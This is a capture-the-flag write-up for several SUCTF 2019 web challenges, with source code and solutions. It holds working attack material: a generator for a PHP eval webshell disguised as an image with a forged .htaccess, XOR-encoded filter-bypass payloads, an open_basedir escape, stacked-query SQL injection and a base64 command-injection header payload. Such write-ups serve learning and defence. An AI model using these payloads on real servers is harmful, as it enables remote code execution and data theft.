0x01 CheckIn
The supplied Docker image failed, likely because it was not a runnable build, so only the approach is summarized. The challenge appears inspired byInsomnihack 2019approach. Uploads fail under these conditions:
- If the file has only an extension, such as .htaccess or .txt,
- the file extension is forbidden
- fails exif_imagetype validation.
- getimagesize does not return 1337 × 1337.
The detailed bypass is omitted here; see:https://thibaudrobin.github.io/articles/bypass-filter-upload/
Returning to this challenge, it has fewer restrictions, but compared withInsomnihack 2019The difference is that it uses Apache's.htaccessbehavior, while this challenge uses Nginx's .user.ini
If you read the article linked above, the solution should be clear: use.user.inito construct the backdoor, using.user.iniconfigured 'special file' to execute chosen commands. The flow is:
- Upload .user.ini and use auto_append_file or auto_prepend_file to construct an executable file, for example:
png/jpg/giffile - Then upload the constructed
png/jpg/giffile containing executable PHP code, such as:
<script language="php"> system("ls")</script>
Remember to bypassexif_imagvalidation
- Finally, execute system commands through the uploaded image file.
0x02 EasyPHP
The official Docker setup for this challenge also failed, so proceed directly to the intended approach.
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
The source is provided. The path to the flag is clear: use _GET request, bypassing the regex and executing get_the_flag()function to obtain the flag.
The key question is how to bypass this regular expression:
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
There is also a length limit:
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if(strlen($character_type)>12) die("Almost there!");
Ignoring the length limit for now, write a PHP script to fuzz the regular expression and identify usable characters:
<?php
$fuzzing_str_urldecode = array();
$fuzzing_str_urlencode = array();
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
$fuzzing_str_urldecode[] = chr($ascii).' ';
$fuzzing_str_urlencode[] = urlencode(chr($ascii)).' ';
}
}
print_r(implode($fuzzing_str_urldecode) );
echo '<br>';
print_r(implode($fuzzing_str_urlencode));
?>
Result:

Usable characters:
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } � � � � � �
%80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF
Use the characters found by fuzzing to construct _GET, then invoke get_the_flag through _GET. The fuzzing script begins with a local fuzzing.php file:
<?php
$_ = $_GET['a'] ^ $_GET['b'];
// why ^ ?
// see: https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/
if($_ == '_GET')
print_r('Success:'.urlencode($_GET['a']).' ^ '.urlencode($_GET['b']));
?>
Then write a Python script to fuzz it:
#!/usr/bin/env python
#encoding=utf-8
import requests
import itertools
import urllib
from bs4 import BeautifulSoup
def request_get(url,get_a,get_b):
url = url + '?a=%s&b=%s' % (get_a,get_b)
r = requests.get(url)
find_msg = BeautifulSoup(r.text, "html.parser")
str = "ERROR"
if str in find_msg:
#print (r.url)
re = 0
else:
print (r.url)
re = r.text
return re
def fuzz_get_a():
ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
result_a = list(map(lambda x:''.join(x), itertools.permutations(ascii, 4)))
return result_a
def fuzz_get_b():
ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
result_b = list(map(lambda x:''.join(x), itertools.permutations(ascii,4)))
return result_b
if __name__ == "__main__":
url = http://localhost/day/test/fuzzing.php
get_a = fuzz_get_a()
get_b = fuzz_get_b()
for k in range(1,200000000):
for t in range(1,200000000):
request_get(url,get_a[k],get_b[t])
The rough script ran for a long time without finding _GET. Reducing the character set and fixing get_a[k] to a constant finally produced a result:


_GET:
%FA%FA%FA%FA ^ %A5%BD%BF%AE
%FB%FB%FB%FB ^ %A4%BC%BE%AF
%FE%FE%FE%FE ^ %A1%B9%BB%AA
%FF%FF%FF%FF ^ %A0%B8%BA%AB
A _POST expression is also provided here:
_POST:
%A0%A0%A0%A0%A0^%FF%F0%EF%F3%F4
Later, z3r0yu shared a script from the ChaMd5 team writeup:
<?php
function gen($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");
It generates the files directly—useful to learn.
The first stage is complete. These strings can now execute commands with the following payload:
${%FA%FA%FA%FA^%A5%BD%BF%AE}{%FA}();&%FA=get_the_flag
Next comes the upload. It uses the .htaccess behavior described in 0x01 CheckIn:
Use this script to generate .htaccess and an exploitable backdoor file:
#!/usr/bin/python3
# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.south", "<?php eval($_GET['cmd']); die(); ?>")
Running it creates two files in the current directory; one is.htaccess; one isshell.south
Then useshell.southfile to execute commands, but the system has enabledopen_basedir , which cannot be used directly.lsList a directory with a command.
But it can still be bypassed:
https://skysec.top/2019/06/10/2019 0ctf final Web Writeup(1)/
The final payload is:
http://xxx.xxx.xxx.xxx/upload/tmp_xxxxxxxxxxxxxxxxxxxxxxxx/shell.south?cmd=chdir('/tmp');mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('pen_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));
Use this to locate the flag and then read it.
0x03 Pythonginx
This challenge is based on a Black Hat USA 2019 presentation.HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
For all conference materials, see:https://forum.90sec.com/t/topic/298



The main lesson of the HostSplit article is that special URL characters can produce unexpected output. It provides several candidate characters:

The remaining work is to fuzz usable characters, read the Nginx configuration, and locate the flag.


The detailed process is omitted. See the official writeup or team writeups in the references.
0x04 easy_sql
Inspect the source directly:
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
The SQL statement is:
$sql = "select ".$post['query']."||flag from Flag";
The following statement can therefore be constructed:
Select *,1 || flag from Flag
This is equivalent to selecting every field from the flag table, so the flag is returned directly.

The official writeup reveals this was unintended. The intended solution uses sql_mode: setting it to PIPES_AS_CONCAT changes || into string concatenation, so any string is returned concatenated with FLAG. The official payload is:
1;set sql_mode=pipes_as_concat;select 1
0x05 Cocktail's Remix
The organizers did not provide working source for reproduction, so only the main approach is summarized. The challenge contains an arbitrary file-download vulnerability.
http://47.111.59.243:9016/download.php?filename=xxxxx
Download the configuration file, then find an extension related to the challenge name in info.php:mod_Cocktail
Reverse engineering the file yields:
- Read the Referer header.
- Pass the Referer through j_remix and send the decoded string to popen.
- j_remix Base64-decodes the string.
The exploit point is the Referer header. Base64-encode the payload and submit it:
bXlzcWwgLWggTXlzcWxTZXJ2ZXIgLXUgZGJhIC1wck5oSG1tTmtOM3h1NE1CWWhtIC1lICdzZWxlY3QgKiBmcm9tICBmbGFnLmZsYWc7Jw==
0x06 Other Notes
Upload Labs 2 and iCloudMusic remain to be reviewed; both offer substantial room for further study. CTF is valuable for what it teaches rather than rank alone. Challenges are often novel and incorporate recent security knowledge, making them useful for learning.
0x07 References
SUCTF 2019 Writeup — De1ta https://xz.aliyun.com/t/6042#toc-27
SUCTF Writeup, Part 1 — ChaMd5 Team https://mp.weixin.qq.com/s/bgWwPPjFsiviFxMgNxjUIg
SUCTF Source Code https://github.com/team-su/SUCTF-2019